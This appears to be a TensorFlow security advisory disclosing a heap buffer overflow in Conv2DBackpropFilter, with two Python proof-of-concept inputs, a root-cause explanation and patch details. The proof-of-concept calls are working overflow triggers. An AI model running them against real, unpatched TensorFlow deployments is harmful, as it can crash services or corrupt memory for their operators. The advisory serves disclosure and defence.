Summary
Heap buffer overflow in `Conv2DBackpropFilter`
Details

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
                           shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
                           dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

Alternatively, passing empty tensors also results in similar behavior: 

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes, 
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1], 
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
